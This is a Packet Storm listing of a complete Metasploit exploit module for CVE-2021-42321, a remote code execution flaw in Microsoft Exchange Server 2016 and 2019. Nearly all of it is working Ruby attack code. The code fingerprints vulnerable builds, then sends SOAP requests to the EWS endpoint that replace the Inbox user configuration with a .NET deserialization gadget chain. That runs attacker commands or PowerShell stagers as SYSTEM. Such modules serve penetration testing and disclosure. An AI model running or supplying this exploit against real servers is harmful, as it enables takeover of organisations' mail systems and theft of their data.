Lucene search

K
packetstormZcgonvh, Grant Willcox, testanull, PeterJson, Microsoft Threat Intelligence Center, Microsoft Security Response Center, pwnforsp, metasploit.comPACKETSTORM:166153
HistoryFeb 25, 2022 - 12:00 a.m.

Microsoft Exchange Server Remote Code Execution

2022-02-2500:00:00
zcgonvh, Grant Willcox, testanull, PeterJson, Microsoft Threat Intelligence Center, Microsoft Security Response Center, pwnforsp, metasploit.com
packetstormsecurity.com
320

8.8 High

CVSS3

Attack Vector

NETWORK

Attack Complexity

LOW

Privileges Required

LOW

User Interaction

NONE

Scope

UNCHANGED

Confidentiality Impact

HIGH

Integrity Impact

HIGH

Availability Impact

HIGH

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

6.5 Medium

CVSS2

Access Vector

NETWORK

Access Complexity

LOW

Authentication

SINGLE

Confidentiality Impact

PARTIAL

Integrity Impact

PARTIAL

Availability Impact

PARTIAL

AV:N/AC:L/Au:S/C:P/I:P/A:P

`##  
# This module requires Metasploit: https://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
require 'nokogiri'  
  
class MetasploitModule < Msf::Exploit::Remote  
  
Rank = ExcellentRanking  
  
prepend Msf::Exploit::Remote::AutoCheck  
include Msf::Exploit::Remote::HttpClient  
include Msf::Exploit::CmdStager  
include Msf::Exploit::Powershell  
  
def initialize(info = {})  
super(  
update_info(  
info,  
'Name' => 'Microsoft Exchange Server ChainedSerializationBinder Deny List Typo RCE',  
'Description' => %q{  
This vulnerability allows remote attackers to execute arbitrary code  
on Exchange Server 2019 CU10 prior to Security Update 3, Exchange Server 2019 CU11  
prior to Security Update 2, Exchange Server 2016 CU21 prior to  
Security Update 3, and Exchange Server 2016 CU22 prior to  
Security Update 2.  
  
Note that authentication is required to exploit this vulnerability.  
  
The specific flaw exists due to the fact that the deny list for the  
ChainedSerializationBinder had a typo whereby an entry was typo'd as  
System.Security.ClaimsPrincipal instead of the proper value of  
System.Security.Claims.ClaimsPrincipal.  
  
By leveraging this vulnerability, attacks can bypass the  
ChainedSerializationBinder's deserialization deny list  
and execute code as NT AUTHORITY\SYSTEM.  
  
Tested against Exchange Server 2019 CU11 SU0 on Windows Server 2019,  
and Exchange Server 2016 CU22 SU0 on Windows Server 2016.  
},  
'Author' => [  
'pwnforsp', # Original Bug Discovery  
'zcgonvh', # Of 360 noah lab, Original Bug Discovery  
'Microsoft Threat Intelligence Center', # Discovery of exploitation in the wild  
'Microsoft Security Response Center', # Discovery of exploitation in the wild  
'peterjson', # Writeup  
'testanull', # PoC Exploit  
'Grant Willcox', # Aka tekwizz123. That guy in the back who took the hard work of all the people above and wrote this module :D  
],  
'References' => [  
['CVE', '2021-42321'],  
['URL', 'https://msrc.microsoft.com/update-guide/en-US/vulnerability/CVE-2021-42321'],  
['URL', 'https://support.microsoft.com/en-us/topic/description-of-the-security-update-for-microsoft-exchange-server-2019-2016-and-2013-november-9-2021-kb5007409-7e1f235a-d41b-4a76-bcc4-3db90cd161e7'],  
['URL', 'https://techcommunity.microsoft.com/t5/exchange-team-blog/released-november-2021-exchange-server-security-updates/ba-p/2933169'],  
['URL', 'https://gist.github.com/testanull/0188c1ae847f37a70fe536123d14f398'],  
['URL', 'https://peterjson.medium.com/some-notes-about-microsoft-exchange-deserialization-rce-cve-2021-42321-110d04e8852']  
],  
'DisclosureDate' => '2021-12-09',  
'License' => MSF_LICENSE,  
'Platform' => 'win',  
'Arch' => [ARCH_CMD, ARCH_X86, ARCH_X64],  
'Privileged' => true,  
'Targets' => [  
[  
'Windows Command',  
{  
'Arch' => ARCH_CMD,  
'Type' => :win_cmd  
}  
],  
[  
'Windows Dropper',  
{  
'Arch' => [ARCH_X86, ARCH_X64],  
'Type' => :win_dropper,  
'DefaultOptions' => {  
'CMDSTAGER::FLAVOR' => :psh_invokewebrequest  
}  
}  
],  
[  
'PowerShell Stager',  
{  
'Arch' => [ARCH_X86, ARCH_X64],  
'Type' => :psh_stager  
}  
]  
],  
'DefaultTarget' => 0,  
'DefaultOptions' => {  
'SSL' => true,  
'HttpClientTimeout' => 5,  
'WfsDelay' => 10  
},  
'Notes' => {  
'Stability' => [CRASH_SAFE],  
'Reliability' => [REPEATABLE_SESSION],  
'SideEffects' => [  
IOC_IN_LOGS, # Can easily log using advice at https://techcommunity.microsoft.com/t5/exchange-team-blog/released-november-2021-exchange-server-security-updates/ba-p/2933169  
CONFIG_CHANGES # Alters the user configuration on the Inbox folder to get the payload to trigger.  
]  
}  
)  
)  
register_options([  
Opt::RPORT(443),  
OptString.new('TARGETURI', [true, 'Base path', '/']),  
OptString.new('HttpUsername', [true, 'The username to log into the Exchange server as', '']),  
OptString.new('HttpPassword', [true, 'The password to use to authenticate to the Exchange server', ''])  
])  
end  
  
def post_auth?  
true  
end  
  
def username  
datastore['HttpUsername']  
end  
  
def password  
datastore['HttpPassword']  
end  
  
def vuln_builds  
# https://docs.microsoft.com/en-us/exchange/new-features/build-numbers-and-release-dates?view=exchserver-2019  
[  
[Rex::Version.new('15.1.2308.8'), Rex::Version.new('15.1.2308.20')], # Exchange Server 2016 CU21  
[Rex::Version.new('15.1.2375.7'), Rex::Version.new('15.1.2375.17')], # Exchange Server 2016 CU22  
[Rex::Version.new('15.2.922.7'), Rex::Version.new('15.2.922.19')], # Exchange Server 2019 CU10  
[Rex::Version.new('15.2.986.5'), Rex::Version.new('15.2.986.14')] # Exchange Server 2019 CU11  
]  
end  
  
def check  
# First lets try a cheap way of doing this via a leak of the X-OWA-Version header.  
# If we get this we know the version number for sure and we can skip a lot of leg work.  
res = send_request_cgi(  
'method' => 'GET',  
'uri' => normalize_uri(target_uri.path, '/owa/service')  
)  
  
unless res  
return CheckCode::Unknown('Target did not respond to check.')  
end  
  
if res.headers['X-OWA-Version']  
build = res.headers['X-OWA-Version']  
if vuln_builds.any? { |build_range| Rex::Version.new(build).between?(*build_range) }  
return CheckCode::Appears("Exchange Server #{build} is a vulnerable build.")  
else  
return CheckCode::Safe("Exchange Server #{build} is not a vulnerable build.")  
end  
end  
  
# Next, determine if we are up against an older version of Exchange Server where  
# the /owa/auth/logon.aspx page gives the full version. Recent versions of Exchange  
# give only a partial version without the build number.  
res = send_request_cgi(  
'method' => 'GET',  
'uri' => normalize_uri(target_uri.path, '/owa/auth/logon.aspx')  
)  
  
unless res  
return CheckCode::Unknown('Target did not respond to check.')  
end  
  
if res.code == 200 && ((%r{/owa/(?<build>\d+\.\d+\.\d+\.\d+)} =~ res.body) || (%r{/owa/auth/(?<build>\d+\.\d+\.\d+\.\d+)} =~ res.body))  
if vuln_builds.any? { |build_range| Rex::Version.new(build).between?(*build_range) }  
return CheckCode::Appears("Exchange Server #{build} is a vulnerable build.")  
else  
return CheckCode::Safe("Exchange Server #{build} is not a vulnerable build.")  
end  
end  
  
# Next try @tseller's way and try /ecp/Current/exporttool/microsoft.exchange.ediscovery.exporttool.application  
# URL which if successful should provide some XML with entries like the following:  
#  
# <assemblyIdentity name="microsoft.exchange.ediscovery.exporttool.application"  
# version="15.2.986.5" publicKeyToken="b1d1a6c45aa418ce" language="neutral"  
# processorArchitecture="msil" xmlns="urn:schemas-microsoft-com:asm.v1" />  
#  
# This only works on Exchange Server 2013 and later and may not always work, but if it  
# does work it provides the full version number so its a nice strategy.  
res = send_request_cgi(  
'method' => 'GET',  
'uri' => normalize_uri(target_uri.path, '/ecp/current/exporttool/microsoft.exchange.ediscovery.exporttool.application')  
)  
  
unless res  
return CheckCode::Unknown('Target did not respond to check.')  
end  
  
if res.code == 200 && res.body =~ /name="microsoft.exchange.ediscovery.exporttool" version="\d+\.\d+\.\d+\.\d+"/  
build = res.body.match(/name="microsoft.exchange.ediscovery.exporttool" version="(\d+\.\d+\.\d+\.\d+)"/)[1]  
if vuln_builds.any? { |build_range| Rex::Version.new(build).between?(*build_range) }  
return CheckCode::Appears("Exchange Server #{build} is a vulnerable build.")  
else  
return CheckCode::Safe("Exchange Server #{build} is not a vulnerable build.")  
end  
end  
  
# Finally, try a variation on the above and use a well known trick of grabbing /owa/auth/logon.aspx  
# to get a partial version number, then use the URL at /ecp/<version here>/exporttool/. If we get a 200  
# OK response, we found the target version number, otherwise we didn't find it.  
#  
# Props go to @jmartin-r7 for improving my original code for this and suggestion the use of  
# canonical_segments to make this close to the Rex::Version code format. Also for noticing that  
# version_range is a Rex::Version object already and cleaning up some of my original code to simplify  
# things on this premise.  
  
vuln_builds.each do |version_range|  
return CheckCode::Unknown('Range provided is not iterable') unless version_range[0].canonical_segments[0..-2] == version_range[1].canonical_segments[0..-2]  
  
prepend_range = version_range[0].canonical_segments[0..-2]  
lowest_patch = version_range[0].canonical_segments.last  
while Rex::Version.new((prepend_range.dup << lowest_patch).join('.')) <= version_range[1]  
res = send_request_cgi(  
'method' => 'GET',  
'uri' => normalize_uri(target_uri.path, "/ecp/#{build}/exporttool/")  
)  
unless res  
return CheckCode::Unknown('Target did not respond to check.')  
end  
if res && res.code == 200  
return CheckCode::Appears("Exchange Server #{build} is a vulnerable build.")  
end  
  
lowest_patch += 1  
end  
  
CheckCode::Unknown('Could not determine the build number of the target Exchange Server.')  
end  
end  
  
def exploit  
case target['Type']  
when :win_cmd  
execute_command(payload.encoded)  
when :win_dropper  
execute_cmdstager  
when :psh_stager  
execute_command(cmd_psh_payload(  
payload.encoded,  
payload.arch.first,  
remove_comspec: true  
))  
end  
end  
  
def execute_command(cmd, _opts = {})  
# Get the user's inbox folder's ID and change key ID.  
print_status("Getting the user's inbox folder's ID and ChangeKey ID...")  
xml_getfolder_inbox = %(<?xml version="1.0" encoding="utf-8"?>  
<soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:m="http://schemas.microsoft.com/exchange/services/2006/messages" xmlns:t="http://schemas.microsoft.com/exchange/services/2006/types" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">  
<soap:Header>  
<t:RequestServerVersion Version="Exchange2013" />  
</soap:Header>  
<soap:Body>  
<m:GetFolder>  
<m:FolderShape>  
<t:BaseShape>AllProperties</t:BaseShape>  
</m:FolderShape>  
<m:FolderIds>  
<t:DistinguishedFolderId Id="inbox" />  
</m:FolderIds>  
</m:GetFolder>  
</soap:Body>  
</soap:Envelope>)  
  
res = send_request_cgi(  
{  
'method' => 'POST',  
'uri' => normalize_uri(datastore['TARGETURI'], 'ews', 'exchange.asmx'),  
'data' => xml_getfolder_inbox,  
'ctype' => 'text/xml; charset=utf-8' # If you don't set this header, then we will end up sending a URL form request which Exchange will correctly complain about.  
}  
)  
fail_with(Failure::Unreachable, 'Connection failed') if res.nil?  
  
unless res&.body  
fail_with(Failure::UnexpectedReply, 'Response obtained but it was empty!')  
end  
  
xml_getfolder = res.get_xml_document  
xml_getfolder.remove_namespaces!  
xml_tag = xml_getfolder.xpath('//FolderId')  
if xml_tag.empty?  
fail_with(Failure::UnexpectedReply, 'Response obtained but no FolderId element was found within it!')  
end  
unless xml_tag.attribute('Id') && xml_tag.attribute('ChangeKey')  
fail_with(Failure::UnexpectedReply, 'Response obtained without expected Id and ChangeKey elements!')  
end  
change_key_val = xml_tag.attribute('ChangeKey').value  
folder_id_val = xml_tag.attribute('Id').value  
print_good("ChangeKey value for Inbox folder is #{change_key_val}")  
print_good("ID value for Inbox folder is #{folder_id_val}")  
  
# Delete the user configuration object that currently on the Inbox folder.  
print_status('Deleting the user configuration object associated with Inbox folder...')  
xml_delete_inbox_user_config = %(<?xml version="1.0" encoding="utf-8"?>  
<soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:m="http://schemas.microsoft.com/exchange/services/2006/messages" xmlns:t="http://schemas.microsoft.com/exchange/services/2006/types" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">  
<soap:Header>  
<t:RequestServerVersion Version="Exchange2013" />  
</soap:Header>  
<soap:Body>  
<m:DeleteUserConfiguration>  
<m:UserConfigurationName Name="ExtensionMasterTable">  
<t:FolderId Id="#{folder_id_val}" ChangeKey="#{change_key_val}" />  
</m:UserConfigurationName>  
</m:DeleteUserConfiguration>  
</soap:Body>  
</soap:Envelope>)  
  
res = send_request_cgi(  
{  
'method' => 'POST',  
'uri' => normalize_uri(datastore['TARGETURI'], 'ews', 'exchange.asmx'),  
'data' => xml_delete_inbox_user_config,  
'ctype' => 'text/xml; charset=utf-8' # If you don't set this header, then we will end up sending a URL form request which Exchange will correctly complain about.  
}  
)  
fail_with(Failure::Unreachable, 'Connection failed') if res.nil?  
  
unless res&.body  
fail_with(Failure::UnexpectedReply, 'Response obtained but it was empty!')  
end  
  
if res.body =~ %r{<m:DeleteUserConfigurationResponseMessage ResponseClass="Success"><m:ResponseCode>NoError</m:ResponseCode></m:DeleteUserConfigurationResponseMessage>}  
print_good('Successfully deleted the user configuration object associated with the Inbox folder!')  
else  
print_warning('Was not able to successfully delete the existing user configuration on the Inbox folder!')  
print_warning('Sometimes this may occur when there is not an existing config applied to the Inbox folder (default 2016 installs have this issue)!')  
end  
  
# Now to replace the deleted user configuration object with our own user configuration object.  
print_status('Creating the malicious user configuration object on the Inbox folder!')  
  
gadget_chain = Rex::Text.encode_base64(Msf::Util::DotNetDeserialization.generate(cmd, gadget_chain: :ClaimsPrincipal, formatter: :BinaryFormatter))  
xml_malicious_user_config = %(<?xml version="1.0" encoding="utf-8"?>  
<soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:m="http://schemas.microsoft.com/exchange/services/2006/messages" xmlns:t="http://schemas.microsoft.com/exchange/services/2006/types" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">  
<soap:Header>  
<t:RequestServerVersion Version="Exchange2013" />  
</soap:Header>  
<soap:Body>  
<m:CreateUserConfiguration>  
<m:UserConfiguration>  
<t:UserConfigurationName Name="ExtensionMasterTable">  
<t:FolderId Id="#{folder_id_val}" ChangeKey="#{change_key_val}" />  
</t:UserConfigurationName>  
<t:Dictionary>  
<t:DictionaryEntry>  
<t:DictionaryKey>  
<t:Type>String</t:Type>  
<t:Value>OrgChkTm</t:Value>  
</t:DictionaryKey>  
<t:DictionaryValue>  
<t:Type>Integer64</t:Type>  
<t:Value>#{rand(1000000000000000000..9111999999999999999)}</t:Value>  
</t:DictionaryValue>  
</t:DictionaryEntry>  
<t:DictionaryEntry>  
<t:DictionaryKey>  
<t:Type>String</t:Type>  
<t:Value>OrgDO</t:Value>  
</t:DictionaryKey>  
<t:DictionaryValue>  
<t:Type>Boolean</t:Type>  
<t:Value>false</t:Value>  
</t:DictionaryValue>  
</t:DictionaryEntry>  
</t:Dictionary>  
<t:BinaryData>#{gadget_chain}</t:BinaryData>  
</m:UserConfiguration>  
</m:CreateUserConfiguration>  
</soap:Body>  
</soap:Envelope>)  
  
res = send_request_cgi(  
{  
'method' => 'POST',  
'uri' => normalize_uri(datastore['TARGETURI'], 'ews', 'exchange.asmx'),  
'data' => xml_malicious_user_config,  
'ctype' => 'text/xml; charset=utf-8' # If you don't set this header, then we will end up sending a URL form request which Exchange will correctly complain about.  
}  
)  
fail_with(Failure::Unreachable, 'Connection failed') if res.nil?  
  
unless res&.body  
fail_with(Failure::UnexpectedReply, 'Response obtained but it was empty!')  
end  
  
unless res.body =~ %r{<m:CreateUserConfigurationResponseMessage ResponseClass="Success"><m:ResponseCode>NoError</m:ResponseCode></m:CreateUserConfigurationResponseMessage>}  
fail_with(Failure::UnexpectedReply, 'Was not able to successfully create the malicious user configuration on the Inbox folder!')  
end  
  
print_good('Successfully created the malicious user configuration object and associated with the Inbox folder!')  
  
# Deserialize our object. If all goes well, you should now have SYSTEM :)  
print_status('Attempting to deserialize the user configuration object using a GetClientAccessToken request...')  
xml_get_client_access_token = %(<?xml version="1.0" encoding="utf-8"?>  
<soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:m="http://schemas.microsoft.com/exchange/services/2006/messages" xmlns:t="http://schemas.microsoft.com/exchange/services/2006/types" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">  
<soap:Header>  
<t:RequestServerVersion Version="Exchange2013" />  
</soap:Header>  
<soap:Body>  
<m:GetClientAccessToken>  
<m:TokenRequests>  
<t:TokenRequest>  
<t:Id>#{Rex::Text.rand_text_alphanumeric(4..50)}</t:Id>  
<t:TokenType>CallerIdentity</t:TokenType>  
</t:TokenRequest>  
</m:TokenRequests>  
</m:GetClientAccessToken>  
</soap:Body>  
</soap:Envelope>)  
  
res = send_request_cgi(  
{  
'method' => 'POST',  
'uri' => normalize_uri(datastore['TARGETURI'], 'ews', 'exchange.asmx'),  
'data' => xml_get_client_access_token,  
'ctype' => 'text/xml; charset=utf-8' # If you don't set this header, then we will end up sending a URL form request which Exchange will correctly complain about.  
}  
)  
fail_with(Failure::Unreachable, 'Connection failed') if res.nil?  
  
unless res&.body  
fail_with(Failure::UnexpectedReply, 'Response obtained but it was empty!')  
end  
  
unless res.body =~ %r{<e:Message xmlns:e="http://schemas.microsoft.com/exchange/services/2006/errors">An internal server error occurred. The operation failed.</e:Message>}  
fail_with(Failure::UnexpectedReply, 'Did not recieve the expected internal server error upon deserialization!')  
end  
end  
end  
`

8.8 High

CVSS3

Attack Vector

NETWORK

Attack Complexity

LOW

Privileges Required

LOW

User Interaction

NONE

Scope

UNCHANGED

Confidentiality Impact

HIGH

Integrity Impact

HIGH

Availability Impact

HIGH

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

6.5 Medium

CVSS2

Access Vector

NETWORK

Access Complexity

LOW

Authentication

SINGLE

Confidentiality Impact

PARTIAL

Integrity Impact

PARTIAL

Availability Impact

PARTIAL

AV:N/AC:L/Au:S/C:P/I:P/A:P